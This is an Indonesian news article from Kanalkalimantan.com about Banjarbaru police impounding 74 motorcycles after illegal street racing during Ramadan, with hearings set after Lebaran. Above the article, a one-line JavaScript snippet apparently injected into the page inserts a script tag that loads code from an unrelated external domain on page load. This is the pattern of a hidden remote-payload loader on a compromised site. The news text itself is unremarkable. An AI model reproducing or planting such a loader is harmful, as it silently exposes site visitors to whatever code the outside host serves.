(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

74 Sepeda Motor Ditilang dari Balap Liar, Sidang Selepas Lebaran

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 74 unit sepeda motor ditahan di Mapolres Banjarbaru buntut aktivitas balap liar yang dilakukan selama bulan Ramadan.
Sepeda motor milik para remaja ini disita polisi untuk mengantisipasi agar tidak terulang aktivitas balap liar.

Kasat Lantas Polres Banjarbaru AKP Imam Suryana mengatakan, pihaknya mengambil tindakan menahan puluhan kendaraan roda dua tersebut hingga para pemiliknya menjalani sidang.
“Kita berikan mereka sanksi tilang, yang berarti di situ ada tanggal sidangnya, sampai mereka sidang,” ujar AKP Imam Suryana.

Rencananya Satlantas Polres Banjarbaru akan menyidangkan pemilik sepeda motor beserta para pelaku yang meresahkan masyarakat tersebut.

Untuk efek jera, pihaknya menginginkan pelaku balap liar dapat lebih paham bagaimana ketentuan yang baik dalam hidup bermasyarakat.“Untuk ke depan sesuai dengan komitmen kita untuk menjaga situasi keamanan dan ketertiban (Kamtibmas) di Kota Banjarbaru, maka jangan sampai nanti pada saat melakukan balap liar, kita temukan di lapangan. Kita beri sanksi tegas,” tegas dia.

Adapun dari data yang dihimpun sebelumnya, Satlantas memastikan kebanyakan dari mereka pebalap liar dari luar Kota Banjarbaru.

Oleh sebab itu, AKP Imam menuturkan bahwa Satlantas Polres Banjarbaru beserta jajaran terus meningkatkan patroli lapangan di jam-jam rawan terjadinya aktivitas balap liar, terutama pada jam menjelang waktu sahur.

Titik-titik yang dipantau seperti mulai dari depan Balai Kota Banjarbaru, Jalan Trikora menuju kawasan perkantoran Gubernur Kalsel hingga kawasan rawan di Jalan Ahmad Yani.
“Ke depan hingga menjelang hari raya, kita tetap rutinkan patroli meniadakan segala macam kegiatan negatif yang dilakukan oleh muda-mudi,” tuntas Imam. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie